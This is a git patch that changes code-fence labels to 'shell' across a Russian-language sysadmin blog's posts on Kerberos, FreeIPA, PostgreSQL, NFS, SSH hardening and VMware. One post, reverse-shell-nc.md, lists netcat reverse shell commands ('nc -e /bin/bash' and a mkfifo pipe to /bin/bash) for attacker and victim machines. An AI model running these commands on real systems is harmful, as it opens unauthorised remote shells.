From c793b5575039a8724b7d2a2ab01ae16ed524f6b2 Mon Sep 17 00:00:00 2001 From: root Date: Sun, 24 Sep 2023 18:58:33 +0300 Subject: [PATCH] Revert "remove shell" This reverts commit 65914f8895a7183915bb9484a725085cd24038f1. --- content/posts/ald-pro.md | 12 ++++++------ content/posts/astra-freeipa.md | 14 +++++++------- content/posts/bareos-install.md | 16 ++++++++-------- content/posts/cifs-automount.md | 12 ++++++------ content/posts/linux-krb5.md | 20 ++++++++++---------- content/posts/linux-nfs.md | 12 ++++++------ content/posts/linux-nfs.md.save | 12 ++++++------ content/posts/linux-packages-rebuild.md | 6 +++--- content/posts/lvm-base-commands.md | 8 ++++---- content/posts/pg-probackup-setup.md.save | 4 ++-- content/posts/pg-probackup-setup.md.save.1 | 4 ++-- content/posts/postgres-drop-db.md | 10 +++++----- content/posts/postgres-krb5.md | 18 +++++++++--------- content/posts/postgres-ldaps.md | 14 +++++++------- content/posts/postgres-pro-astra-se.md | 10 +++++----- content/posts/postgres-replication.md | 16 ++++++++-------- content/posts/postgres-simple-backup.md | 6 +++--- content/posts/postgres-tls.md | 10 +++++----- content/posts/reverse-shell-nc.md | 6 +++--- content/posts/ruby-packer.md | 16 ++++++++-------- content/posts/selfsigned-to-trusted.md | 10 +++++----- content/posts/ssh-2fa-totp.md | 14 +++++++------- content/posts/ssh-auth-by-key.md | 4 ++-- content/posts/ssh-fail2ban.md | 6 +++--- content/posts/vmware-clipboard.md | 2 +- content/posts/vmware-restart-date.md | 2 +- 26 files changed, 132 insertions(+), 132 deletions(-) diff --git a/content/posts/ald-pro.md b/content/posts/ald-pro.md index e2c7534..03f3e66 100644 --- a/content/posts/ald-pro.md +++ b/content/posts/ald-pro.md @@ -6,19 +6,19 @@ tags: [linux, astra, krb5] --- ## Создания сетевой видимости -``` +```shell . # /etc/hosts ``` ## Смена хостнейма -``` +```shell hostnamectl set-hostname . ``` ## Добавление репозиториев ALD Pro -``` +```shell deb https://download.astralinux.ru/aldpro/stable/repository-main/ 1.0.0 main deb https://download.astralinux.ru/aldpro/stable/repository-extended/ generic main @@ -26,7 +26,7 @@ deb https://download.astralinux.ru/aldpro/stable/repository-extended/ generic ma ``` ## Выставление приоритета репозиториев -``` +```shell Package: * Pin: release n=generic Pin-Priority: 900 @@ -35,7 +35,7 @@ Pin-Priority: 900 ``` ## Установка пакета -``` +```shell DEBIAN_FRONTEND=noninteractive apt-get install -q -y aldpro-mp ``` @@ -43,7 +43,7 @@ DEBIAN_FRONTEND=noninteractive apt-get install -q -y aldpro-mp После того, как команда развёртывания отработает и сервер перезагрузитcя, сервер ALD Pro будет доступен по адресу: https://\.\ -``` +```shell /opt/rbta/aldpro/mp/bin/aldpro-server-install.sh \ -d -n -p --ip ``` diff --git a/content/posts/astra-freeipa.md b/content/posts/astra-freeipa.md index 2830804..76eda08 100644 --- a/content/posts/astra-freeipa.md +++ b/content/posts/astra-freeipa.md @@ -8,7 +8,7 @@ tags: [linux, astra, krb5, freeipa] ### Создания сетевой видимости -``` +```shell . . @@ -18,33 +18,33 @@ tags: [linux, astra, krb5, freeipa] ## Настройка cервера ### Смена хостнейма -``` +```shell hostnamectl set-hostname . ``` ### Установка пакета -``` +```shell apt install fly-admin-freeipa-server -y ``` ### Развёртывание -``` +```shell astra-freeipa-server -d -n -px -ip -o --dogtag -y ``` ## Настройка клиента ### Смена хостнейма -``` +```shell hostnamectl set-hostname . ``` ### Установка пакета -``` +```shell apt install fly-admin-freeipa-client -y -px "--force" ``` ### Конфигурация клиента -``` +``` shell astra-freeipa-client -d ``` diff --git a/content/posts/bareos-install.md b/content/posts/bareos-install.md index 01c1357..2a4f3b8 100644 --- a/content/posts/bareos-install.md +++ b/content/posts/bareos-install.md @@ -7,25 +7,25 @@ tags: [linux, postgres, bareos, apache] ## Конфигурация Сервера ### Установка Bareos и PostgreSQL -``` +```shell curl -s https://download.bareos.org/current/Debian_10/add_bareos_repositories.sh | bash apt update apt install postgresql bareos bareos-webui ``` ### Конфигурация БД -``` +```shell dpkg-reconfigure bareos-database-common ``` ### Включение сервисов Bareos, PostgreSQL и Apache -``` +```shell systemctl enable --now postgresql bareos-director bareos-filedaemon bareos-storage apache2 ``` ### Создание пользователя для Bareos-webui и конфига клиента Веб Bareos'а находится по адресу: [http://\/bareos-webui/](http://localhost/bareos-webui/) -``` +```shell bconsole configure add console name= password= profile=webui-admin tlsenable=no configure add client name= address= password= @@ -34,7 +34,7 @@ exit ``` ### Бэкап определённой папки -``` +```shell FileSet { Name = "" Description = "" @@ -52,19 +52,19 @@ FileSet { ## Конфигурация клиента ### Установка Bareos Filedaemon -``` +```shell curl -s https://download.bareos.org/current/Debian_10/add_bareos_repositories.sh | bash apt update apt install bareos-filedaemon ``` ### Перенос конфига с сервера на клиент -``` +```shell scp @:/etc/bareos/bareos-dir-export/client\ //bareos-fd.d/director/bareos-dir.conf/etc/bareos/bareos-fd.d/director/ ``` ### Включение сервиса -``` +```shell systemctl enable --now bareos-filedaemon ``` diff --git a/content/posts/cifs-automount.md b/content/posts/cifs-automount.md index 93ce229..238cba7 100644 --- a/content/posts/cifs-automount.md +++ b/content/posts/cifs-automount.md @@ -5,12 +5,12 @@ date: 2023-05-12T18:10:00+05:00 tags: [linux, krb5] --- ## Установка пакета -``` +```shell apt install cifs-utils -y ``` ## Создание файла с данными УЗ -``` +```shell username= password= domain= @@ -19,24 +19,24 @@ domain= ``` ## Смена прав на файл с данными УЗ -``` +```shell sudo chmod 0400 /root/.smbuser ``` ## Развёртывание -``` +```shell //
/ cifs credentials=/root/.smbuser,uid=,gid= 0 0 # /etc/fstab ``` ## Монтирование всех директорий -``` +```shell mount -a ``` ## Монтирование ручками (необязательно) -``` +```shell mount -t cifs //
/ -o \ username=,password=,domain= ``` diff --git a/content/posts/linux-krb5.md b/content/posts/linux-krb5.md index 898b2a9..593496f 100644 --- a/content/posts/linux-krb5.md +++ b/content/posts/linux-krb5.md @@ -7,14 +7,14 @@ tags: [linux, krb5] ## Конфигурация сервера ### Установка пакетов -``` +```shell apt -y install krb5-kdc krb5-admin-server ``` ## Конфигурация клиента ### Установка пакетов -``` +```shell apt -y install krb5-user libpam-krb5 ``` @@ -22,13 +22,13 @@ apt -y install krb5-user libpam-krb5 На сервере и клиенте надо проделать следующие шаги: ### Смена hostname -``` +```shell hostnamectl set-hostname ``` ### Правка файла hosts Вместо правки файла hosts можно поднять DNS-сервер и сделать записи там. -``` +```shell @@ -36,7 +36,7 @@ hostnamectl set-hostname ``` ### Редактирование конфига Kerberos -``` +```shell [libdefaults] default_realm = @@ -58,29 +58,29 @@ hostnamectl set-hostname ## Создание нового реалма (на сервере) ### Создание master key для БД krb5 -``` +```shell krb5_newrealm ``` ### Создание учётной записи администратора -``` +```shell kadmin.local addprinc /admin quit ``` ### Разрешение административных прав -``` +```shell /admin # /etc/krb5kdc/kadm5.acl ``` ## Получение билета -``` +```shell kinit \admin ``` Проверяем наличие выданного билета: -``` +```shell klist ``` diff --git a/content/posts/linux-nfs.md b/content/posts/linux-nfs.md index 5df0f5e..61fcb60 100644 --- a/content/posts/linux-nfs.md +++ b/content/posts/linux-nfs.md @@ -7,18 +7,18 @@ tags: [linux, nfs] ## Настройка NFS-сервера ### Установка пакета -``` +```shell apt -y install nfs-kernel-server ``` ### Создание каталога, который будет расшарен -``` +```shell mkdir /nfs chmod 777 /nfs ``` ### Разрешение сетевого доступа -``` +```shell /nfs (rw,sync,no_root_squash,no_subtree_check) # /etc/exports @@ -27,17 +27,17 @@ chmod 777 /nfs ## Настройка NFS-клиента ### Установка пакета -``` +```shell apt -y install nfs-common ``` ### Запуск службы -``` +``` shell systemctl enable --now rpcbind ``` ### Автомонитрование -``` +```shell :/nfs /nfs nfs defaults 0 0 # /etc/fstab diff --git a/content/posts/linux-nfs.md.save b/content/posts/linux-nfs.md.save index 07ed857..33cd9f1 100644 --- a/content/posts/linux-nfs.md.save +++ b/content/posts/linux-nfs.md.save @@ -7,18 +7,18 @@ tags: [vmware] ## Настройка NFS-сервера ### Установка пакета -``` +```shell apt install nfs-kernel-server ``` ### Создание каталога, который будет расшарен -``` +```shell sudo mkdir /nfs sudo chmod 777 /nfs ``` ### Разрешаем сетевой доступ -``` +```shell /nfs (rw,sync,no_root_squash,no_subtree_check) # /etc/exports @@ -27,16 +27,16 @@ sudo chmod 777 /nfs ## Настройка NFS-клиента ### Установка пакета -``` +```shell apt install nfs-common ``` ### Запуск службы -``` +``` shell systemctl enable --now rpcbind ``` ### Автомонитрование -``` +```shell :/nfs /nfs nfs defaults 0 0 ``` diff --git a/content/posts/linux-packages-rebuild.md b/content/posts/linux-packages-rebuild.md index c207b31..e693d79 100644 --- a/content/posts/linux-packages-rebuild.md +++ b/content/posts/linux-packages-rebuild.md @@ -7,16 +7,16 @@ tags: [linux] ## Распаковка пакета ### Распаковка данных -``` +```shell dpkg -x ".deb" ``` ### Распаковка метаданных -``` +```shell dpkg -e ".deb" /DEBIAN ``` ## Сборка пакета -``` +```shell dpkg -b ".deb" ``` diff --git a/content/posts/lvm-base-commands.md b/content/posts/lvm-base-commands.md index 4a4f162..92637ba 100644 --- a/content/posts/lvm-base-commands.md +++ b/content/posts/lvm-base-commands.md @@ -5,26 +5,26 @@ date: 2022-11-25T13:58:10+05:00 tags: [linux, lvm] --- ## Установка пакекта -``` +```shell apt -y install lvm2 ``` ## Создание -``` +``` shell pvcreate /dev/sda vgcreate vg-name /dev/sda lvcreate -L 10G -n lv-name vg-name ``` ## Изменение -``` +```shell vgextend vg /dev/sdb lvresize -rL +1G /dev/vg-name/lv-name lvresize -rl +100%FREE /dev/vg-name/lv-name ``` ## Просмотр -``` +```shell pvs vgs lvs diff --git a/content/posts/pg-probackup-setup.md.save b/content/posts/pg-probackup-setup.md.save index 7b9be07..963d303 100644 --- a/content/posts/pg-probackup-setup.md.save +++ b/content/posts/pg-probackup-setup.md.save @@ -5,11 +5,11 @@ date: 2022-12-14T12:04:00+05:00 tags: [linux, postgres] --- ## Генерируем ключ -``` +```shell ssh-keygen ``` ## Копируем ключ -``` +```shell ssh-copy-id @ ``` diff --git a/content/posts/pg-probackup-setup.md.save.1 b/content/posts/pg-probackup-setup.md.save.1 index 5f26b65..e06ae88 100644 --- a/content/posts/pg-probackup-setup.md.save.1 +++ b/content/posts/pg-probackup-setup.md.save.1 @@ -5,11 +5,11 @@ date: 2022-12-14T12:04:00+05:00 tags: [linux, ssh] --- ## Генерируем ключ -``` +```shell ssh-keygen ``` ## Копируем ключ -``` +```shell ssh-copy-id @ ``` diff --git a/content/posts/postgres-drop-db.md b/content/posts/postgres-drop-db.md index 79226f4..2fd6037 100644 --- a/content/posts/postgres-drop-db.md +++ b/content/posts/postgres-drop-db.md @@ -6,29 +6,29 @@ tags: [linux, postgres] --- ## На старой версии (<=12) Заходим в консоль Postgres: -``` +```shell psql ``` Убиваем соединения с БД: -``` +```shell SELECT pg_terminate_backend (pid) FROM pg_stat_activity WHERE pg_stat_activity.datname = ''; ``` Дропаем БД: -``` +```shell DROP DATABASE ; ``` ## На новой версии (>=13) Заходим в консоль Postgres: -``` +```shell psql ``` Дропаем БД: -``` +``` shell DROP DATABASE WITH (FORCE); ``` diff --git a/content/posts/postgres-krb5.md b/content/posts/postgres-krb5.md index de97f34..82b80da 100644 --- a/content/posts/postgres-krb5.md +++ b/content/posts/postgres-krb5.md @@ -11,7 +11,7 @@ tags: [linux, postgres, krb5] ## Конфигурация сервера Kerberos ### Добавление принципиала Postgres Pro -``` +```shell kadmin.local addprinc addprinc postgres @@ -20,7 +20,7 @@ q ``` ### Экспорт субъекта-службы -``` +```shell ktutil add_entry -password -p postgres/@ -k 1 -e aes256-cts-hmac-sha1-96 wkt postgres.keytab @@ -30,21 +30,21 @@ q ### Перенос субъекта-службы на сервер Postgres Pro Перенести keytab можно как угодно, главное, чтобы он находился в папке с конфигурационными файлами Postgres Pro. Я перенесу с помощью команды scp: -``` +```shell scp postgres.keytab postgres@:/var/lib/pgpro/std-13/data/ ``` ## Конфигурация сервера Postgres Pro ### Включение ранее перенесённого keytab -``` +```shell ktutil read_kt postgres.keytab q ``` ### Изменение конфигруационного файла Postgres Pro -``` +```shell krb_server_keyfile = 'postgres.keytab' listen_addresses = 'localhost, ' @@ -52,7 +52,7 @@ listen_addresses = 'localhost, ' ``` ### Разрешение подключения -``` +```shell hostgssenc all postgres localhost/32 gss include_realm=0 hostgssenc /32 gss include_realm=0 @@ -60,18 +60,18 @@ hostgssenc /32 gss include_realm=0 ``` ### Получение тикета от Kerberos -``` +```shell kinit postgres ``` ## Конфигурация клиента ### Получение тикета от Kerberos -``` +```shell kinit ``` ### Подключение к Postgres Pro -``` +```shell psql -d -h -U ``` diff --git a/content/posts/postgres-ldaps.md b/content/posts/postgres-ldaps.md index 14eabdd..df9e698 100644 --- a/content/posts/postgres-ldaps.md +++ b/content/posts/postgres-ldaps.md @@ -10,17 +10,17 @@ AD необходимо дать роль CA и выпустить сертиф ## Перенос сертификата Необходимо перенести выпущенный конечный сертификат на сервер СУБД и перекодировать следующей командой: -``` +```shell openssl x509 -inform der -in .cer -out .pem ``` ## Установка пакета ldap-utils -``` +```shell apt install ldap-utils -y ``` ## Правка ldap конфига -``` +```shell TLS_CACERT /etc/ldap/.pem BASE dc=,dc= URI ldaps://..:636 @@ -29,26 +29,26 @@ URI ldaps://..:636 ``` ## Проверка ldap -``` +```shell ldapsearch -x -b "dc=,dc=" \ -H ldaps://..:636 -W -D ``` ## Правка pg_hba.conf С ldapprefix/ldapsuffix, возможно, придётся поколдовать. Стоит попробовать их оставить пустыми (=""). -``` +```shell host / ldap ldapserver=.. ldapscheme=ldaps ldapprefix="cn=" ldapsuffix=",cn=users,dc=,dc=" # /var/lib/pgpro/std-14/data/pg_hba.conf ``` ## Создание пользователя в Postgres -``` +```shell psql -c "CREATE USER ;" ``` ## Перезапуск Postgres Pro -``` +```shell systemctl restart postgres* ``` diff --git a/content/posts/postgres-pro-astra-se.md b/content/posts/postgres-pro-astra-se.md index 1887aa1..9eb87f2 100644 --- a/content/posts/postgres-pro-astra-se.md +++ b/content/posts/postgres-pro-astra-se.md @@ -5,31 +5,31 @@ date: 2022-11-25T16:20:00+05:00 tags: [linux, astra, postgres] --- ## Добавление репозитория -``` +``` shell apt -y install gnupg wget -O - http://repo.postgrespro.ru/keys/GPG-KEY-POSTGRESPRO | apt-key add - echo "deb http://repo.postgrespro.ru/pgpro-14/astra-smolensk/1.7 1.7_x86-64 main" \ > /etc/apt/sources.list.d/pgpro.list ``` ## Установка пакета -``` +```shell apt update apt -y install postgrespro-std-14 ``` ## systemd -``` +```shell /opt/pgpro/std-14/bin/pg-setup service enable --now ln -s /lib/systemd/system/postgrespro-std-14.service /etc/systemd/system/postgresql.service ``` ## Обновление путей -``` +```shell /opt/pgpro/std-14/bin/pg-wrapper links update ``` ## Смена пароля postgres -``` +```shell su - postgres psql -c "ALTER USER postgres PASSWORD '';" ``` diff --git a/content/posts/postgres-replication.md b/content/posts/postgres-replication.md index d051a45..b1fe1ae 100644 --- a/content/posts/postgres-replication.md +++ b/content/posts/postgres-replication.md @@ -12,25 +12,25 @@ tags: [linux, postgres, nfs] ### Конфигурация master Действия с Postgres Pro следует выполнять от имени пользователя postgres. -``` +```shell su - postgres ``` #### Создание пользователя для репликации -``` +```shell psql -c "CREATE ROLE repuser WITH REPLICATION LOGIN ENCRYPTED PASSWORD '';" ``` #### Разрешение подключения для slave Дописываем в конец файла: -``` +```shell host replication repuser /32 md5 # /var/lib/pgpro/std-13/data/pg_hba.conf ``` #### Реконфигурация -``` +```shell listen_addresses = 'localhost, ' wal_level = hot_standby archive_mode = on @@ -42,14 +42,14 @@ hot_standby = on ``` #### Перезапуск Postgres Pro -``` +```shell systemctl restart postgres ``` ### Настройка slave #### Выгрузка файлов с master -``` +```shell rm -rf /var/lib/pgpro/std-13/data/* pg_basebackup -P -R -X stream -c fast -h -U postgres -D \ /var/lib/pgpro/std-13/data @@ -63,7 +63,7 @@ WAL-архивы будут складываться на NFS. Как сконф Необходимо смонтировать NFS на master и slave в одинаковые директории. ### Дополнение к реконфигурации -``` +```shell archive_command = 'test ! -f /nfs/%f && cp %p /nfs/%f' archive_cleanup_command = 'pg_archivecleanup -d /nfs %r 2>>cleanup.log' @@ -74,7 +74,7 @@ archive_cleanup_command = 'pg_archivecleanup -d /nfs %r 2>>cleanup.log' При синхронной репликации, изменения применятся на основном сервере только после того, как они запишутся в WAL хотя бы одной реплики, а при асинхронной - сразу. По умолчанию репликация работает в асинхронном режиме. Для того, чтобы она работала в синхронном режиме, необходимо изменить две строки в конфигурационном файле Postgres Pro: -``` +```shell synchronous_commit = on synchronous_standby_names = 'pgsql_0_node_0' diff --git a/content/posts/postgres-simple-backup.md b/content/posts/postgres-simple-backup.md index 2a71546..b454a8e 100644 --- a/content/posts/postgres-simple-backup.md +++ b/content/posts/postgres-simple-backup.md @@ -5,7 +5,7 @@ date: 2022-12-14T16:48:00+05:00 tags: [linux, postgres] --- ## Скрипт для бэкапа БД и глобальных объектов -``` +```shell #!/usr/bin/env bash pg_dump -U -h -Fc --file=-$(date '+%Y-%m-%d').dump pg_dumpall -U -h --globals --file=gb-$(date '+%Y-%m-%d').dump @@ -14,14 +14,14 @@ pg_dumpall -U -h --globals --file=gb-$(date '+%Y-%m-%d' ``` ## Файл cron с запуском скрипта (каждый день в 2:00) -``` +```shell 0 2 * * * /usr/bin/env bash /home//pg-backup.sh # crontab -e -u ``` ## Рестор файлов БД и глобальных объектов -``` +```shell pg_restore -C -d postgres -.dump psql -U postgres < gb-.dump ``` diff --git a/content/posts/postgres-tls.md b/content/posts/postgres-tls.md index fe63003..6200646 100644 --- a/content/posts/postgres-tls.md +++ b/content/posts/postgres-tls.md @@ -7,12 +7,12 @@ tags: [linux, postgres, tls] ## Создание сертификата В этом посте я буду использовать самоподписанный сертификат, но сертификат от Let's Encrypt тоже подойдёт. Сертификат и ключ желательно держать в той же папке, где лежат конфиги Postgres Pro. -``` +``` shell openssl req -x509 -newkey rsa:4096 -keyout .pem -out .pem -sha256 -days 365 ``` ## Включение TLS -``` +``` shell ssl = on ssl_cert_file = '.pem' ssl_key_file = '.pem' @@ -22,7 +22,7 @@ listen_addresses = 'localhost, ' ``` ## Разрешение доступа через TLS -``` +```shell hostssl scram-sha-256 # /var/lib/pgpro/std-13/data/pg_hba.conf @@ -30,12 +30,12 @@ hostssl scram-sha-256 ## (ре)Генерация пароля В случае, если до этого хеш-алгоритм пароля был не scram-sha-256, то необходимо пересоздать пароль: -``` +```shell psql -c \password ``` ## Перезапуск Postgres Pro -``` +```shell systemctl restart postgres* ``` diff --git a/content/posts/reverse-shell-nc.md b/content/posts/reverse-shell-nc.md index 05c3dcf..888e4d7 100644 --- a/content/posts/reverse-shell-nc.md +++ b/content/posts/reverse-shell-nc.md @@ -5,16 +5,16 @@ date: 2022-12-09T15:02:00+05:00 tags: [linux, ssh, hack] --- ## Машина атакующего -``` +```shell nc -lvp ``` ## Машина жертвы (Traditional Netcat) -``` +```shell nc -e /bin/bash ``` ## Машина жертвы (OpenBSD Netcat) -``` +```shell mkfifo /tmp/rev; nc < /tmp/rev \ | /bin/bash 2>&1 | tee /tmp/rev > /dev/null ``` diff --git a/content/posts/ruby-packer.md b/content/posts/ruby-packer.md index 0c23c71..add6aa2 100644 --- a/content/posts/ruby-packer.md +++ b/content/posts/ruby-packer.md @@ -16,20 +16,20 @@ tags: [linux, ruby, gcc] ## Установка пакетов для сборки (и не только) -``` +```shell apt -y install wget unzip gcc make autoconf \ squashfs-tools libtool bison gnupg ``` ## Установка ruby (из пакета) -``` +```shell apt -y install ruby ruby-dev ``` ## Установка ruby (из исходников) -``` +```shell wget -P /tmp https://cache.ruby-lang.org/pub/ruby//ruby-.tar.gz tar -C /tmp -xvf /tmp/ruby-*.tar.gz cd /tmp/ruby-*/ @@ -40,7 +40,7 @@ make install ## Установка rubyc (форк, 3.1.3, рекомендую) -``` +```shell wget -P /tmp https://github.com/ericbeland/ruby-packer/releases/download/3_1_3/linux-amd64.zip unzip /tmp/linux-amd64.zip -d /tmp mv /tmp/linux-amd64/rubyc /usr/local/bin @@ -49,14 +49,14 @@ chmod +x /usr/local/bin/rubyc ## Установка rubyc (unstable, 2.7, не рекомендую) -``` +```shell wget -P /usr/local/bin https://github.com/pmq20/ruby-packer/releases/download/linux-x64/rubyc chmod +x /usr/local/bin/rubyc ``` ## Установка rubyc (stable, 2.4, не рекомендую) -``` +```shell wget -P /tmp https://gw.alipayobjects.com/os/enclose-prod\ /1fd23e6b-d48f-4ed0-94dd-f0f539960253/rubyc-v0.4.0-linux-x64.gz gzip -d /tmp/rubyc-v0.4.0-linux-x64.gz @@ -79,7 +79,7 @@ require 'bundler/setup' ## Подготовка к сборке Необходимо собрать gem с помощью Bundle. -``` +```shell gem install bundler bundle install bundle exec rake install @@ -88,7 +88,7 @@ bundle exec rake install ## Сборка бинарника Собираем бинаник. Обязательно при этом необходимо молиться. -``` +```shell cd rubyc -r . -d /tmp/ -o exe/ ``` diff --git a/content/posts/selfsigned-to-trusted.md b/content/posts/selfsigned-to-trusted.md index 074c77f..e31c991 100644 --- a/content/posts/selfsigned-to-trusted.md +++ b/content/posts/selfsigned-to-trusted.md @@ -5,7 +5,7 @@ date: 2023-05-12T18:20:00+05:00 tags: [linux, astra, alt, tls] --- ## Получение корневого сертификата -``` +```shell echo quit | openssl s_client -showcerts \ -servername -connect :443 > .pem ``` @@ -13,24 +13,24 @@ echo quit | openssl s_client -showcerts \ ## Astra Linux ### Перемещение сертификата -``` +```shell cp .pem /usr/local/share/ca-certificates ``` ### Обновление состава доверенного хранилища -``` +```shell dpkg-reconfigure ca-certificates ``` ## Alt Linux ### Перемещение сертификата -``` +```shell cp .pem /etc/pki/ca-trust/source/anchors/ ``` ### Обновление состава доверенного хранилища -``` +```shell update-ca-trust enable update-ca-trust extract ``` diff --git a/content/posts/ssh-2fa-totp.md b/content/posts/ssh-2fa-totp.md index 68efd6b..3743d41 100644 --- a/content/posts/ssh-2fa-totp.md +++ b/content/posts/ssh-2fa-totp.md @@ -5,19 +5,19 @@ date: 2022-11-29T13:35:00+05:00 tags: [linux, ssh] --- ## Установка пакета -``` +```shell apt install -y openssh-server libpam-google-authenticator ``` ## Правка конфига PAM -``` +```shell auth required pam_google_authenticator.so # auth required pam_google_authenticator.so ``` ## Правка конфига ssh -``` +```shell ChallengeResponseAuthentication yes # /etc/ssh/sshd_config @@ -27,26 +27,26 @@ ChallengeResponseAuthentication yes Следующая команда сконфигурирует TOTP. Запускать команду следует от имени того пользователя, к которому будет инициализированно подключение. -``` +```shell google-authenticator ``` ## Управление факторами (необязательно) Включить запрос ключа при аутентификации: -``` +```shell AuthenticationMethods publickey,password publickey,keyboard-interactive # /etc/ssh/sshd_config ``` Отключить запрос пароля при аутентификации: -``` +```shell #@include common-auth # /etc/pam.d/sshd ``` ## Перезапуск сервиса ssh -``` +```shell systemctl restart ssh ``` diff --git a/content/posts/ssh-auth-by-key.md b/content/posts/ssh-auth-by-key.md index b4988a9..7758afb 100644 --- a/content/posts/ssh-auth-by-key.md +++ b/content/posts/ssh-auth-by-key.md @@ -5,11 +5,11 @@ date: 2022-12-14T12:04:00+05:00 tags: [linux, ssh] --- ## Генерация ключа -``` +```shell ssh-keygen ``` ## Копировние ключв -``` +```shell ssh-copy-id @ ``` diff --git a/content/posts/ssh-fail2ban.md b/content/posts/ssh-fail2ban.md index 7947bba..9f39d0a 100644 --- a/content/posts/ssh-fail2ban.md +++ b/content/posts/ssh-fail2ban.md @@ -5,12 +5,12 @@ date: 2022-11-29T13:41:00+05:00 tags: [linux, ssh] --- ## Установка пакета fail2ban -``` +```shell apt -y install fail2ban ``` ## Правило для ssh -``` +``` shell [sshd] enabled = true port = @@ -24,6 +24,6 @@ bantime = 3600 ``` ## Перезапуск сервиса fail2ban -``` +```shell systemctl restart fail2ban ``` diff --git a/content/posts/vmware-clipboard.md b/content/posts/vmware-clipboard.md index 7204e4c..5fcdaa3 100644 --- a/content/posts/vmware-clipboard.md +++ b/content/posts/vmware-clipboard.md @@ -5,7 +5,7 @@ date: 2022-11-25T15:08:00+05:00 tags: [vmware] --- ## Изменение конфига -``` +``` shell vmx.fullpath = "/bin/vmx" isolation.tools.copy.disable="FALSE" isolation.tools.paste.disable="FALSE" diff --git a/content/posts/vmware-restart-date.md b/content/posts/vmware-restart-date.md index ddc2820..6cd35e9 100644 --- a/content/posts/vmware-restart-date.md +++ b/content/posts/vmware-restart-date.md @@ -5,7 +5,7 @@ date: 2022-11-25T15:18:00+05:00 tags: [vmware] --- ## Изменение скрипта -``` +``` shell #!/bin/sh ++group=host/vim/vmvisor/boot esxcli system time set --day=20 --month=3 --year=2022 --hour=10 --min=0 --sec=0 exit 0